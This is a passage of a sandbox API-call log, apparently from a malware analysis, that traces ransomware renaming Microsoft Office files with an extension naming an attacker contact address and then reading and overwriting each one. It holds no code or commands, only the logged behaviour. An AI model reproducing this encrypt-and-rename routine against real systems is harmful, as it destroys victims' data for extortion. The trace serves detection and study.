[0165.492] GetProcessHeap () returned 0x630000 [0165.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32b60 | out: hHeap=0x630000) returned 1 [0165.493] GetProcessHeap () returned 0x630000 [0165.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0165.495] GetProcessHeap () returned 0x630000 [0165.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0165.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2895dfb9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x530f5, dwReserved0=0x9f87496, dwReserved1=0x6f27728, cFileName="PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f80 [0165.496] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0165.496] Sleep (dwMilliseconds=0x1) [0166.329] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap", len=0x65 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap") returned 1 [0166.329] GetProcessHeap () returned 0x630000 [0166.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bac) returned 0x707d3d0 [0166.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\powerviewres.vi.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0166.329] CloseHandle (hObject=0x408) returned 1 [0166.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\powerviewres.vi.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\powerviewres.vi.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0166.330] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0166.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\powerviewres.vi.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0166.331] GetProcessHeap () returned 0x630000 [0166.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0166.331] GetProcessHeap () returned 0x630000 [0166.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0166.332] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.332] ReadFile (in: hFile=0x408, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0171.997] GetProcessHeap () returned 0x630000 [0171.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0171.998] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.998] WriteFile (in: hFile=0x408, lpBuffer=0x731cfd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0171.999] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.999] WriteFile (in: hFile=0x408, lpBuffer=0x73283d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73283d7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0172.001] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.001] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0172.001] CloseHandle (hObject=0x408) returned 1 [0172.001] GetProcessHeap () returned 0x630000 [0172.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0172.001] GetProcessHeap () returned 0x630000 [0172.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0172.001] GetProcessHeap () returned 0x630000 [0172.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0172.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c7860b0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f815, dwReserved0=0x9f87496, dwReserved1=0x706cf70, cFileName="PowerViewRes.vi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f40 [0172.002] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0172.002] Sleep (dwMilliseconds=0x1) [0172.012] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll") returned 1 [0172.012] GetProcessHeap () returned 0x630000 [0172.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b64) returned 0x707d3d0 [0172.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0174.940] CloseHandle (hObject=0x5ec) returned 1 [0174.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0174.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0177.752] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1086\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0177.752] GetProcessHeap () returned 0x630000 [0177.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0177.752] GetProcessHeap () returned 0x630000 [0177.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0177.752] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.752] ReadFile (in: hFile=0x5ec, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0183.931] GetProcessHeap () returned 0x630000 [0183.931] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0183.932] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.932] WriteFile (in: hFile=0x5ec, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0184.182] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.182] WriteFile (in: hFile=0x5ec, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.182] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.182] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.182] CloseHandle (hObject=0x5ec) returned 1 [0184.182] GetProcessHeap () returned 0x630000 [0184.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0184.182] GetProcessHeap () returned 0x630000 [0184.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0184.183] GetProcessHeap () returned 0x630000 [0184.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0184.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x33b98bb7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0x9f87496, dwReserved1=0x72de940, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0184.183] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0184.183] Sleep (dwMilliseconds=0x1) [0186.063] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL", len=0x41 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL") returned 1 [0186.063] GetProcessHeap () returned 0x630000 [0186.063] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29e4) returned 0x707d3d0 [0186.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0186.064] CloseHandle (hObject=0x430) returned 1 [0186.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.066] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1729263, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SAVASW~1.FIR")) returned 0x6d5440 [0186.066] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0186.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0186.066] GetProcessHeap () returned 0x630000 [0186.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e0160 [0186.066] GetProcessHeap () returned 0x630000 [0186.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0186.067] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.067] ReadFile (in: hFile=0x430, lpBuffer=0x70e0160, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e0160*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0193.142] GetProcessHeap () returned 0x630000 [0193.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0193.142] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.142] WriteFile (in: hFile=0x430, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.410] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.410] WriteFile (in: hFile=0x430, lpBuffer=0x728fadf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fadf*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.262] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.262] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.262] CloseHandle (hObject=0x430) returned 1 [0195.274] GetProcessHeap () returned 0x630000 [0195.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0195.291] GetProcessHeap () returned 0x630000 [0195.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e0160 | out: hHeap=0x630000) returned 1 [0195.292] GetProcessHeap () returned 0x630000 [0195.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0195.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a566ce4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe074, dwReserved0=0x9f87496, dwReserved1=0x70e0158, cFileName="SAVASWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SAVASW~1.FIR")) returned 0x6d5000 [0196.293] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.305] Sleep (dwMilliseconds=0x1) [0198.294] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE", len=0x61 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 1 [0198.294] GetProcessHeap () returned 0x630000 [0198.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b84) returned 0x7133a90 [0198.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0198.296] CloseHandle (hObject=0x4f0) returned 1 [0198.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0198.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dwtrig20.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dwtrig20.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0198.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0198.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37688, dwReserved0=0x6f0070, dwReserved1=0x740072, cFileName="DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DWTRIG~1.FIR")) returned 0x6d5580 [0198.298] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0198.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dwtrig20.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 